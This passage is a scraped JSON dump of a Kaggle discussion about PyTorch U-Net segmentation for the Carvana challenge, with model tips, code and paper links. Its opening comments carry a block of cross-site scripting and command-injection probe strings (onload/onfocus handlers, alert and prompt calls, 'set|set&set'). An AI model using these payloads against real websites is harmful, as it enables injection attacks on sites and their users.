-alert`/1/`\">'onload=\"`-alert1\">'onload=\"1\"autofocus \"[user]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)[video]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)[image]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)\n ;print(md5(xss)); set|set&set\n text//;value=autofocus onfocus=alert(1) a=>\n \">\n
-alert/1/\">'onload=\"-alert1\">'onload=\"document.domain\"autofocus \"[/image]\n;print(md5(xss)); set|set&set\ntext//;value=autofocus onfocus=alert(1) a=>
\n", "votes": null, "replies": [] }, { "id": 210394, "author_name": "hengck23", "author_url": "", "post_date": "08/05/2017 12:47:24", "content": "\n
\n-alert`/1/`\">'onload=\"`-alert1\">'onload=\"\n \n-alert`/1/`\">'onload=\"`-alert`1`\">'onload=\"`1\"autofocus \"
it seems that there are quite some work that deal with full resolution segmentation. Also my current unet use stacked 3x3 filters (like vgg-16). Here are some papers that uses residual block, etc to repalce it. They claimed better accuracy and efficiency.
\n\n\"Efficient ConvNet for Real-time Semantic Segmentation\"- Eduardo Romera1, Jose´ M. A´ lvarez2, Luis M. Bergasa1 and Roberto Arroyo
\n\n\"LinkNet: Exploiting Encoder Representations for Efficient Semantic Segmentation\" - Abhishek Chaurasia
\n\n\" Not All Pixels Are Equal: Difficulty-Aware Semantic Segmentation via Deep Layer Cascade\" - Xiaoxiao Li
\n\n\"ICNet for Real-Time Semantic Segmentation on High-Resolution Images\"- Hengshuang Zhao1
\n\n\"Improving Fully Convolution Network for Semantic Segmentation\" - Bing Shuai
\n\n\"Full-Resolution Residual Networks for Semantic Segmentation in Street Scenes\" - Tobias Pohlen
\n\n\"The One Hundred Layers Tiramisu: Fully Convolutional DenseNets for Semantic Segmentation\" - Simon J´egou1
\n\n\"ENet: A Deep Neural Network Architecture for Real-Time Semantic Segmentation\" - Adam Paszke
", "votes": null, "replies": [] }, { "id": 211268, "author_name": "hengck23", "author_url": "", "post_date": "08/08/2017 13:39:06", "content": "Full-Resolution Residual Networks for Semantic Segmentation in Street Scenes
\n\nhttps://www.youtube.com/watch?v=aXdigiSDIak
\n\nhttps://github.com/TobyPDE/FRRN
", "votes": null, "replies": [ { "id": 211425, "author_name": "pama328", "author_url": "", "post_date": "08/08/2017 23:08:26", "content": "Did you give it a try?
", "votes": null, "replies": [] } ] }, { "id": 211358, "author_name": "hengck23", "author_url": "", "post_date": "08/08/2017 18:08:32", "content": "here is another benchmark to compare different methods:
\n\nhttps://www.cityscapes-dataset.com/benchmarks/
", "votes": null, "replies": [] }, { "id": 211618, "author_name": "gadgysaidoff", "author_url": "", "post_date": "08/09/2017 15:01:01", "content": "Hi Heng!\nThanks for your kernel.\nBTW I see you redefined forward pass, but I don't see any redefinition of backward.\nHave you done it?\nIf not - why? do you think it's good idea to have different backward and forward ways?
", "votes": null, "replies": [ { "id": 211773, "author_name": "pama328", "author_url": "", "post_date": "08/09/2017 22:14:25", "content": "I'm not Heng, but if you don't mind I will answer your question:\nIn pytorch there is no need to define a backward path explicitly if using the autograd package. The path is generated implicitly from the forward path and stored in the autograd-variables. Therefore the backward path should be 'the reverse forward path' implicitly.
", "votes": null, "replies": [] } ] }, { "id": 211689, "author_name": "strideradu", "author_url": "", "post_date": "08/09/2017 18:23:03", "content": "I got the error said:
\n\nRuntimeError: cuda runtime error (46) : all CUDA-capable devices are busy or unavailable at pytorch/torch/lib/THC/generic/THCStorage.cu:66
\n\nCould someone help me?
", "votes": null, "replies": [ { "id": 211697, "author_name": "cpruce", "author_url": "", "post_date": "08/09/2017 18:40:43", "content": "Try restarting the machine
", "votes": null, "replies": [] }, { "id": 211808, "author_name": "strideradu", "author_url": "", "post_date": "08/09/2017 23:42:11", "content": "It's university cluster so I cannot control the machine
", "votes": null, "replies": [] }, { "id": 211907, "author_name": "pama328", "author_url": "", "post_date": "08/10/2017 07:39:50", "content": "Did you set the 'CUDA_VISIBLE_DEVICES' Variable?
", "votes": null, "replies": [] }, { "id": 213506, "author_name": "strideradu", "author_url": "", "post_date": "08/14/2017 23:38:49", "content": "I didn't change that, I suppose to have 1 K80 GPU available
", "votes": null, "replies": [] } ] }, { "id": 212248, "author_name": "hengck23", "author_url": "", "post_date": "08/11/2017 03:43:06", "content": "another pytorch segmentation open source:
\n\nhttps://github.com/ycszen/pytorch-ss
", "votes": null, "replies": [] }, { "id": 212369, "author_name": "hengck23", "author_url": "", "post_date": "08/11/2017 13:35:06", "content": "experiments for weighing pixels at the boundary. see attachment pictures.
\n\nwithout weighing:
\n\ntrain=0.9934, validate=0.9940, LB=0.991
\n\nwith weighing:
\n\ntrain=0.9942, validate=0.9945, LB=0.991
\n\n\n
I'm wondering if your weighted dice loss only weights the positive class. Because intersection = m1 * m2, the intersection will be equal to zero wherever the mask (= true label) is zero. Hence, you end up doing w2 * 0 for the negative class. In my mind you're ignoring the weighting of the negative class here.
Please tell me if I'm missing something.
", "votes": null, "replies": [] }, { "id": 216500, "author_name": "lyakaap", "author_url": "", "post_date": "08/26/2017 03:03:00", "content": "I implemented your weighted_bce_loss and tested it, but the returned negative large number. (e.g. dice_score : around 0.98, weighted_bce_loss : -600~)
\n\nIs it OK?
", "votes": null, "replies": [] }, { "id": 216548, "author_name": "malcolmsun", "author_url": "", "post_date": "08/26/2017 15:07:53", "content": "Hi @Heng, thanks for your sharing. I got useful knowledge from them. Since I am a new CVer, I am not familiar with CV algorithms. I used dilation to determine which pixel to be weighed. Is it feasible? Looking forward to your reply.
", "votes": null, "replies": [] }, { "id": 216554, "author_name": "hengck23", "author_url": "", "post_date": "08/26/2017 16:10:52", "content": "@lyakaap
\n\nloss can not be negative. I am not sure why this error happens at your side.
\n\n.
\n\n@malcolm
\n\ni think it is ok. just do experiments with and without weighing and the results will show if it works.
", "votes": null, "replies": [] }, { "id": 216639, "author_name": "lyakaap", "author_url": "", "post_date": "08/27/2017 04:42:30", "content": "I also thought it's incorrect that loss would be negative, but contrast intuition, still it worked properly.\nOn the contrary, I tried to flip the sign of function output. The result is poor and obviously incorrect.
\n\nThank you for answering. I will review my implementation and recalculate bce_loss formula.
", "votes": null, "replies": [] } ] }, { "id": 212412, "author_name": "hengck23", "author_url": "", "post_date": "08/11/2017 15:40:47", "content": "data augmentation
\n\nhttp://ee.sharif.edu/~shayan_f/fgcc/index.html
\n\n
I'm testing a Hue/Saturation/Value augmentation. Looks promising so far, will update with results soon hopefully. My concern is that most cars in train/test sets are black, white or shade of gray and the hue/saturation adjustments don't have much of an effect there.
\n\n
you hue augmentation looks good. do you have a code for that?
", "votes": null, "replies": [] }, { "id": 213713, "author_name": "petrosgk", "author_url": "", "post_date": "08/15/2017 05:17:07", "content": "def randomHueSaturationValue(image, hue_shift_limit=(-180, 180),\n sat_shift_limit=(-255, 255),\n val_shift_limit=(-255, 255), u=0.5):\n if np.random.random() < u:\n image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n h, s, v = cv2.split(image)\n hue_shift = np.random.uniform(hue_shift_limit[0], hue_shift_limit[1])\n h = cv2.add(h, hue_shift)\n sat_shift = np.random.uniform(sat_shift_limit[0], sat_shift_limit[1])\n s = cv2.add(s, sat_shift)\n val_shift = np.random.uniform(val_shift_limit[0], val_shift_limit[1])\n v = cv2.add(v, val_shift)\n image = cv2.merge((h, s, v))\n image = cv2.cvtColor(image, cv2.COLOR_HSV2BGR)\n\n return image\n\nimg = randomHueSaturationValue(img,\n hue_shift_limit=(-50, 50),\n sat_shift_limit=(-5, 5),\n val_shift_limit=(-15, 15))\nthanks!
", "votes": null, "replies": [] } ] }, { "id": 212895, "author_name": "hengck23", "author_url": "", "post_date": "08/13/2017 01:36:17", "content": "smart post precocessing!\nThe car is symmetrical. this can be use to correct segmentation error. e.g. in a frontal car, if missing segementation occurs at one side, it can be easily detected. some reasoning goes for car turned at 30 degree left and right.
\n\nbetter still, try a deep CNN to detect and correct such error, or incorperate such symmtrical information in the network
", "votes": null, "replies": [] }, { "id": 213279, "author_name": "stijndecubber", "author_url": "", "post_date": "08/14/2017 09:53:00", "content": "I trained a model on 1024x1024 images, with batch size 1. I'm getting these crazy artifacts in some images, resulting in a lower than expected LB score. I'm not sure if this could be related to the small batch size. Or should I be looking for errors in my upscaling methods? Did anyone encounter similar artifacts? For most images, the predictions are fine, so that the public LB score is 0.965.
\n\n
TTA (test time augmentation) on validation set. CNN model is 1024x1024 input
\n\nif performed on the test set (100064 images), each augmentation is going to take 2 hr. Hence the cost is roughly 12 hr for 0.000035 gain in LB!
\n\n
code for merging removing BN in inference, by merging into CONV.\nI have verify that conv-bn-relu preduced the same results as merged_conv-relu. It is about 10% faster.
\n\nIn addition, fp16 works and produce same results (about 0.00001 numerical error difference). It can increase inference batch size by about 40%.
\n\nIn pytorch you just have to use:
\n\nnet.cuda().half()
\n\nVariable(images,volatile=True).cuda().half()
\n\n class ConvBnRelu2d(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3, padding=1, dilation=1, stride=1, groups=1, is_bn=True, is_relu=True):\n super(ConvBnRelu2d, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, padding=padding, stride=stride, dilation=dilation, groups=groups, bias=False)\n self.bn = nn.BatchNorm2d(out_channels, eps=BN_EPS)\n self.relu = nn.ReLU(inplace=True)\n if is_bn is False: self.bn =None\n if is_relu is False: self.relu=None\n\n\n def forward(self,x):\n x = self.conv(x)\n if self.bn is not None: x = self.bn(x)\n if self.relu is not None: x = self.relu(x)\n return x\n\n\n def merge_bn(self):\n assert(self.conv.bias==None)\n conv_weight = self.conv.weight.data\n bn_weight = self.bn.weight.data\n bn_bias = self.bn.bias.data\n bn_running_mean = self.bn.running_mean\n bn_running_var = self.bn.running_var\n bn_eps = self.bn.eps\n\n #https://github.com/sanghoon/pva-faster-rcnn/issues/5\n #https://github.com/sanghoon/pva-faster-rcnn/commit/39570aab8c6513f0e76e5ab5dba8dfbf63e9c68c\n\n N,C,KH,KW = conv_weight.size()\n std = 1/(torch.sqrt(bn_running_var+bn_eps))\n std_bn_weight =(std*bn_weight).repeat(C*KH*KW,1).t().contiguous().view(N,C,KH,KW )\n conv_weight_hat = std_bn_weight*conv_weight\n conv_bias_hat = (bn_bias - bn_weight*std*bn_running_mean)\n\n self.bn = None\n self.conv = nn.Conv2d(in_channels=self.conv.in_channels, out_channels=self.conv.out_channels, kernel_size=self.conv.kernel_size,\n padding=self.conv.padding, stride=self.conv.stride, dilation=self.conv.dilation, groups=self.conv.groups,\n bias=True)\n self.conv.weight.data = conv_weight_hat #fill in\n self.conv.bias.data = conv_bias_hat\nThank you for sharing! It helps me a lot.
\n\nHave you tried PSPNet in your code? I want to know how the model performs in the carvana dataset.
", "votes": null, "replies": [ { "id": 216075, "author_name": "heyt0ny", "author_url": "", "post_date": "08/24/2017 07:53:15", "content": "I've tried pspnet - it was performing really bad..
", "votes": null, "replies": [] }, { "id": 216158, "author_name": "lyakaap", "author_url": "", "post_date": "08/24/2017 15:14:17", "content": "Sad... I intended to try ensemble PSPNet with other model...
\n\nI appreciate hearing that :)
", "votes": null, "replies": [] } ] }, { "id": 216381, "author_name": "cjansen", "author_url": "", "post_date": "08/25/2017 14:09:27", "content": "@Heng, what IDE do you use?
", "votes": null, "replies": [ { "id": 216382, "author_name": "hengck23", "author_url": "", "post_date": "08/25/2017 14:10:23", "content": "pycharm
", "votes": null, "replies": [] } ] }, { "id": 216783, "author_name": "pipipopo", "author_url": "", "post_date": "08/28/2017 05:17:27", "content": "", "votes": null, "replies": [] }, { "id": 218192, "author_name": "asanakoev", "author_url": "", "post_date": "09/02/2017 21:07:51", "content": "@Heng, which image input size did you use ?
", "votes": null, "replies": [] }, { "id": 218603, "author_name": "hengck23", "author_url": "", "post_date": "09/05/2017 05:15:28", "content": "some pytorch addon:
\n\ndense-CRF: https://github.com/milesial/Pytorch-UNet
ReduceLROnPlateau: https://github.com/EKami/carvana-challenge
inception/densenet block in unet: https://github.com/Hsuxu/carvana-pytorch-uNet
for more see: https://github.com/search?utf8=%E2%9C%93&q=carvana&type=
", "votes": null, "replies": [] }, { "id": 221167, "author_name": "hengck23", "author_url": "", "post_date": "09/14/2017 11:18:49", "content": "Example of dilated Unet
\n\nhttps://blog.insightdatascience.com/heart-disease-diagnosis-with-deep-learning-c2d92c27e730
", "votes": null, "replies": [ { "id": 221385, "author_name": "zhangsongwei", "author_url": "", "post_date": "09/15/2017 03:22:29", "content": "It seemed that the dilated convolution layer lower the loss of feature information comparing to downsampling/unsampling layer. But it requires more parameters, so we have to reduce the input size or the depth of the net to adapt to our memory. Did it count?
", "votes": null, "replies": [] } ] }, { "id": 221201, "author_name": "solomonk", "author_url": "", "post_date": "09/14/2017 13:38:25", "content": "Great thread, I am also using PyTorch, Just uploaded my tutorial here:\nhttps://www.kaggle.com/solomonk/pytorch-numer-ai-deep-binary-classification
", "votes": null, "replies": [] }, { "id": 222606, "author_name": "craymond", "author_url": "", "post_date": "09/19/2017 11:54:03", "content": "what is split_file? thanks
\n\nP.S. is going through all py to find how to generate it, thx a lot if you can give hint.
", "votes": null, "replies": [ { "id": 222649, "author_name": "hengck23", "author_url": "", "post_date": "09/19/2017 15:33:51", "content": "list of training/validation images. i think you can find it in one of the version 07-30. But my software changes. it would be easier for you to read the code and check the format of the file for later versions.
", "votes": null, "replies": [] } ] } ], "raw_markdown_by_id": { "208218": "you can download my pytorch implementation at:\n\nhttps://drive.google.com/open?id=0B_DICebvRE-kN21SaDhMZWt5U0U\n\nIt uses a customized uNet. Please refer to the readme.ppt in the link above for setup and details. Have fun!\n\n ![enter image description here][1]\n\n\n [1]: https://kaggle2.blob.core.windows.net/forum-message-attachments/208218/6916/starter-kit.png\n\n--------------------------------------------------------------\nsoftware version update:\n\n08-25\n\n- reference software for:\n\n LB = 0.997 for UNet1024 model in my_unet_baseline.py\n\n LB = 0.991 for UNet128 model in my_unet_baseline.py\n\n training logs are provided. see also https://www.kaggle.com/c/carvana-image-masking-challenge/discussion/38125\n\n- implement accumulated gradients\n\n- implement weighted boundary loss\n\n- implement merge bn into conv for faster inference\n\n the version is *not* backward compatible with previous version.\n\n\n\n\n08-02\n\n- add UNet_double_1024_5, which use 512x512 as input and predict 1024x1024 mask.\n\n UNet_double_1024_5 obtains LB score of 0.996.\n\n note that many changes are made to support label and image of different size.\n\n some unused functions are broken because of this.\n\n the version is *not* backward compatible with previous version.\n \n\n\n07-31\n\n- add models unet{128,256,512}_{1,2,3} \n\n unet512_2 obtains LB score of 0.995. \n\n The training loss curves are included for reference.\n\n\n\n07-30\n\n- support for validation at training\n\n- add dice loss for back propagation\n\n\n07-29a\n\n- fix minor bugs\n\n- add data agumentation in training\n\n- add visualisation for predictions on train sample during training\n\n07-29\n\n- initial version", "208226": "Thank you so much.", "208227": "Have you taken a look at \n\nhttps://github.com/mzaradzki/neuralnets/tree/master/vgg_segmentation_keras\nhttps://aboveintelligent.com/face-recognition-with-keras-and-opencv-2baf2a83b799\nhttp://www.vlfeat.org/matconvnet/pretrained/#semantic-segmentation\nhttps://github.com/nicolov/segmentation_keras\n\nand particularly https://github.com/jocicmarko/ultrasound-nerve-segmentation?\n\nHeng, can't thank you enough for your activity on Kaggle. I've learned a bunch from you. Hope you win this one!", "208231": "Thanks for your sharing,and can I ask how much time do you cost when you generate a submit or predict? I'm also using pytorch and I generate a predict in the test set may cost 2~3 hours,it is too slow.", "208235": "you can check this post:\nhttps://www.kaggle.com/c/carvana-image-masking-challenge/discussion/37203\n\nIt takes about 20 min to predict the masks using CNN, an another 20 min the make csv file.", "208247": "Oh,Thanks,that's very effective~~", "208326": "what does 0.988, 0.990, 0.992, 0.996 look like? I upload some files for your reference.\nThese are train errors i got on my train images.\n\nFrom these images, the errors are can be corrected if you know something about the car model (e.g. the bumper is black and has to careful not to confuse with shadow). Dimension of the car might help.\n\nmaybe this is how meta data can be used.", "208447": "Hi Heng CherKeng! \n\nYou're involvement in the public forums is simply awesome! I love how you share a LOT of comp. vision type models (particularly in PyTorch)! \n\nI was wondering whether you can post your implementation on Github, so that we can view the code online... \n\nGreat work, keep it up ;) In fact, I'm actually planning to learn PyTorch via this competition, starting from your code. Good luck! ;))", "208448": "Increasing Image Size helps, currently using 256 x256 with Keras U-net. \n\n128 x 128 -> 98.5\n\n256 x 256 -> 99.1", "208479": "Thanks Heng for sharing. I am hoping to reproduce this with Keras as I don't have PyTorch.\n\nHow long was the training time? \nWhat was the batch size?", "208490": "thanks for the information! it helps", "208492": "some segmentation model for pytorch which you can used: \n\nhttps://github.com/bodokaiser/piwise\n\nhttps://github.com/meetshah1995/pytorch-semseg\n\nsome discussion\n\nhttps://discuss.pytorch.org/t/semantic-segmentation-perform-bad/1892/6\n\nyou may want to try these. i think their implementations may be better than mine.", "208494": "be careful of those imagenet models. the py files are modified (the naming of the layers had changed) and may not work if you pretrained downloaed from the pytorch repository. you may wan to use the original imagenet py model from the pytorch repository.\n\ni will post the modiifed pretrained models later", "208521": "It was very generous of you to share your work. Your work is fantastic. I just wonder if you have already look at CRF-RNN https://github.com/torrvision/crfasrnn which might be more promising?", "208595": "If you are training your model with 128x128 size pictures, then how will you predict the test images with size 1918x1280 since the model expects a tensor of (None, 128, 128, 3)?", "208597": "e.g. the predicted mask is 128 x 128 and now you resize the image up to 1918x1280. \n\nDepending on the resize function you can loose information, so training on bigger images should in general yield better results.", "208598": "resize image and ground truth mask to NxN at train. predict NxN mask at test. then upscale NxN to 1918x1280 . Not the best solution, but it is a start", "208639": "Works fine with 480*720 patches ^_^", "208640": "thanks for the infor!", "208645": "which batch size do you train?", "208647": "some early experiment results\n\n ![enter image description here][1]\n\n ![enter image description here][2]\n\n\n [1]: https://kaggle2.blob.core.windows.net/forum-message-attachments/208647/6946/exp.png\n [2]: https://kaggle2.blob.core.windows.net/forum-message-attachments/208647/6951/exp2.png", "208648": "batch_size = 4 with Adam optimizer, trained overnight with 50 epochs, lr divided by 10 on 10, 20 and 50 epoch.", "208649": "thxs will test ur image size this night :D", "208652": "note that the prediction size can be bigger than input size. it is like super resolution.\n\ne.g. prediction_mask (input_128x128) = mask_256x256\n\nchange bilinear upsampling layer to learnable deconvolution layer (aka transpose convolution)\n\n...\n\nalso, you can start to modify your unet to be like:\n\ninput_NxN --> [ resnet ] --> resNet_features_FxF --> [uNet] --> mask_KxK", "208672": "Another way could be to split images into smaller patches without downscaling. For example, we could split 1920*1280 into 720*480 patches with small overlap and that way it will be possible to train network with full resolution images", "208674": "Managed to run it with 1088x720 and batch 2. Still 3.2x downsampling.", "208676": ">>Another way could be to split images into smaller patches\n\ni have about the same idea. Please see attachment picture.\n\n ![enter image description here][1]\n\n\n [1]: https://kaggle2.blob.core.windows.net/forum-message-attachments/208677/6950/high.png", "208677": "<", "208678": "here is another idea. \n\nSay if we we are given 100x100 mask as ground truth. During training, we upsize the ground truth to 200x200 and train a network to predict 200x200. Then we download size 200x200 to 100x100 as final prediction results. This may has the 'effect' of averaging neighboring pixel predictions to predict current pixel.", "208681": "Don't know, seems too complex to me. Advantage of end-to-end Unet is that it could have both local and global information (i.e. it can predict where the car is and also detect very precise boundary using this information). If we select very small patches near boundary there will be less context information (it is very hard to understand what is in small patch -- is it boundary of a car or boundary of letter in the background and so on)", "208682": "the patches can be big. e.g 25% of original image size.\n\nresults of low resolution prediction (and maybe location of patch encoded as pixel information e.g. via distance transform) can be added as input to the high resolution network as well.", "208703": "new experiment results. surprised that 128x128 can achieve LB 0.989. Unet_1 = my initial design unet. Unet_2 = design from Keras reference. Tips:\n\n - train your CNN long enough\n - design your unet properly ... try different number of filters\n\n ![enter image description here][1]\n\n\n [1]: https://kaggle2.blob.core.windows.net/forum-message-attachments/208703/6952/exp3.png", "208708": "Awesome results! How about using 192*128 -- it will be the same proportions as original image. Also, I'd suggest using cv2.INTERP_AREA instead of default. It will make downsampled images more \"smooth\" without aliasing effects. I think it will allow to break into 0.99+ area.", "208722": "I have a question about difference between LB score and validation score.\nI have trained model on 256x256 images. I get validation Dice Error ~0.991.\n\nBut when I resize prediction to full resolution, at validation set I get 0.986 (which is consistent with my LB score).\nI'm thinking if such big drop is sth natural or I screwed the up-sampling part for prediction (I just use resize and threshold to have only binary values). After my analyse, look like my model learned nice the down-sampled masks, but also with all down-sample artifacts. Or I have sth wrong in my pipeline,\nHow does you pipeline look like?", "208732": "This is fine. Your model learns downsampled masks very carefully but they are still downsampled and don't contain all the information of full-sized masks no matter how you will upsample predictions. I got higher score by using 720*480 masks. Currently training 1088x720 ^_^", "208771": "Does DA useful ? I'm trying to use rot and flip,but the result become more worse.", "208774": "Rotated image is far from val/test image, so I guess it is not a good way. I haven't tried but horizontal flip, horizonal/vertical pixel shift and brightness/contrast change should be good..", "208775": "I got 0.993 with 320x480 (1/4 scale) with Keras U-net\nI can see 1 to 4 pixel discrepancy around car boundary as expected. \n\nI also attempt the full-scale image, but it seems to be worse at least for first a few epoch - may be I need more U-net depth, but it becomes too slow to run.", "208779": "I think using DA will add some noise.It can improve the robust of the model sometimes,but in this competition we can get 0.99+ precision,so maybe the noise is harmful.", "208795": "i am now preparing the experiment write up and code for next release for 0.995 results. Here is a quick summary of my new experiments:\n\n 1. using bilinear upsampling is better than deconvolution layer in unet (which i don't know why ... i suspect overfitting)\n\n 2. different sizes on LB: 128x128=0.989(batch=32), 256x256=0.992(30), 512x512=0.995(16)\n\n 3. augmentation. I use scale+shift. adding non-uniform scaling (change of aspect) worsen the results a little.\n\nit seems that everyone now knows how to move towards 0.999. the battle now is who has the most gpu resources. imagine if i can train in full resolution with multi-gpus!\n\n## note: the results are non conclusive. it is possible that you get different results. my results are only for reference. for details of experiments, please wait for my next post.\n\nUpdated! The reason that deconvolution filter didn't work well could be becuase i forget to initialise them with bilinear weights. I will check that later.", "208798": "different resizing (bilinear, cubic, area, learnable) will be my next experiments. Also I will be trying scling without changing the aspect of the original image. I will report results later. Thanks for the hints and advice!", "208824": "Hey , Can you provide the Keras version of Unet.\nThanks in advance", "208834": "the bigger size,the higher LB.", "208839": "inspired by @ironbar post: https://www.kaggle.com/ironbar/getting-a-meaning-of-the-score, i try to find the limits of using training labels of different sizes. Conclusion is that \"size does matters\" !\n\nHere are the results:\n ![enter image description here][1]\n\n\n [1]: https://kaggle2.blob.core.windows.net/forum-message-attachments/208839/6954/size.png", "208843": "updated. use this with code release '07-31'\n\n ![enter image description here][1]\n\n\n [1]: https://kaggle2.blob.core.windows.net/forum-message-attachments/208843/6955/exp4.png", "208849": "comparing 128,256,512 unet. It seems that 32 epoch is not optimum. Also there is no overfitting. Then green mask is example of prediction on test image. \n\n ![enter image description here][1]\n\n\n [1]: https://kaggle2.blob.core.windows.net/forum-message-attachments/208849/6956/exp5.png", "208850": "You might also find this useful: https://github.com/mrgloom/awesome-semantic-segmentation\n\nIt contains links to all the papers and implementations (not only in pytorch) of segmentation networks.", "208852": "you can check the post below", "208854": "thank you for the link, in particular, \"jocicmarko/ultrasound-nerve-segmentation\" unet structure helps!", "208855": "Next experiment plans:\n\nbaseline system: using as 256x256 input and predict 256x256.\n\ncomparsion system:\n\n 1. Given 256x256 images, crop 128x128 for training and predict 128x128. During testing, 256x256 is divided into overlapping 128x128 patches to do inference. The results are then combined. \n\n 2. Given 128x128 as input. Train to predict 256x256\n\n 3. Given 128x128 as input. Train to predict 512x512. During testing, 512x512 prediction is downsized to 256x256.", "208856": "a possible solution?", "208869": "Hello Heng, \n\nDo you think resize image's extension will affect the score? \nIs it better to resize and write as jpg format than png ?", "208877": "it is a new record! LB score =0.990 for 128x128. The results of using Bce loss + dice loss, i.e. dual loss back propagated. The training iterations are reduced also.\n\n ![enter image description here][1]\n\n\n [1]: https://kaggle2.blob.core.windows.net/forum-message-attachments/208877/6962/bce_dice.png", "208886": "Bartek\n\nlet ( downsize(x), downsize(y_hat) ) be an train sample, and p be output prediction of CNN. \n\nDid you threshold(upsize(threshold(p))) or threshold(upsize(p)) for submission? I use threshold(upsize(p)) but i haven't compare which is better", "208890": "I am using this competition to improve my skills in keras. I see the model shared in this thread has been written using pytorch. Is anyone using keras/tensorflow to write an equivalent model?", "208891": "When using bigger images, how do you guys save the predictions? Currently i'm using numpy array but with bigger image size my 32gb ram gets memory error.", "208910": "my ram is 128 gb. Your prediction comes from CNN, which you can save at every e.g. 1000 iterations. your results will be in chunks of 1000. 512x512 prediction mask (float32) is about 104 GB when saves as npy file.", "208912": "Eugene I am not sure but i think image compression should have negligible effects", "208914": "You could virtually increase your memory size by using a swap file:\n\n\n #!/bin/bash\n # swap-create: creates 20 GB swap file\n \n SWAP_FILE=${HOME}/swapfile\n \n sudo dd if=/dev/zero of=${SWAP_FILE} bs=512M count=40\n sudo mkswap ${SWAP_FILE}\n sudo chmod 600 ${SWAP_FILE}\n sudo swapon ${SWAP_FILE}", "208927": "yet another simple idea is to use initial low resolution mask prediction to get a bounding box of the car. They crop and resize the bounding box (with border) to some good size like 512x512. This reduces the the background and maximizes the object in the 512x512 input.", "208933": "I have checked last @Heng CherKeng script and it really produce 0.995 score using 512 images, thanks! Now I'm ready to find a bug in my code:)\n\nAbout memory consumption when predicting I resolved it by using uint8 format instead of float32\nSo I get prediction after sigmoid function, multiply them by 255. and convert to uint8.\nAfter resizing I threshold them by 128. \nThen I use ~30GB of memory for making a prediction (having 32GB). Saved all mask for 100k images takes 25 GB (so 4x less than float32). As I have same score at LB like Heng, look like it does not hurt performance \n\n\nAbout cropping the removing the background from images, I think that is very good idea, which I was thinking about too.\nThe simple two-step idea is best. And it provide bigger car images at same resolution of input image. But I would have left some background around the car to enable random crop and have more information about background around car.", "208979": "You could save the numpy array in bcolz format. It's one of the fastest and a cheap way of saving numpy arrays on disk. Some utility functions to save and load bcolz arrays are here: https://github.com/fastai/courses/blob/master/deeplearning1/nbs/utils.py#L175-L181", "209100": "jackkwok : Will you share the code once you are done with converting this to keras", "209122": "yet another idea", "209157": "You are kind of sharing your code. I trained a UNet, but it marks all edges just as the attenchment. How do you remove the logo of \"carvana\"?", "209167": "Verify the training, your model is not creating a mask around the car. \nProbably it doesn't have learn anything.", "209187": "I'm also using adam, I'm wondering how you set the initial super parameters?", "209188": "I'm working on tensorflow version", "209193": "Do you know what is causing the spots in the wheels? Is it the training data?\n\nI have only noticed one image where the manually created mask trimmed in between the wheel's spokes, but I haven't reviewed enough images to know if it is a common or rare issue.", "209205": "ironbar The code is as follows, just trained a unet. I don't know whether the model construct method is OK. It seems that the model just find all the edges, and do not create a car mask.\n\n\nimport numpy as np\nimport tensorflow as tf\nfrom PIL import Image\nfrom tf_unet import unet, image_util, util\n\nbase_dir = \"/home/xrq/prog/kaggle/image_masking\"\noutput_path = base_dir + \"/script/tmp\"\nmodel_path = base_dir + '/script/model'\ntest_pic_path = base_dir + \"/script/00087a6bd4dc_01_predict.jpg\"\n\ndata_provider = image_util.ImageDataProvider(base_dir + \"/dataset/train/*\", data_suffix='.jpg', mask_suffix='_mask.gif')\nnet = unet.Unet(channels=3, n_class=2, cost='cross_entropy', layers=3, features_root=1)\ntrainer = unet.Trainer(net, batch_size=1, optimizer='momentum')\ntrainer.train(data_provider, output_path, training_iters=10, epochs=100, dropout=0.5, display_step=1, restore=False, write_graph=False)\n\ninit = tf.global_variables_initializer()\nwith tf.Session() as sess:\n # Initialize variables\n sess.run(init)\n\n net.save(sess, model_path)\n pic = np.array(Image.open(base_dir + '/dataset/train/00087a6bd4dc_01.jpg'), np.float32)\n prediction = net.predict(model_path, np.reshape(pic, (1, 1280, 1918, 3)))\n \n res = np.reshape(prediction, (1240, 1876, 2))[:, :, 1]\n img = Image.fromarray(res * 255)\n if img.mode != 'RGB':\n img = img.convert('RGB')\n img.save(test_pic_path)\n img.show()\n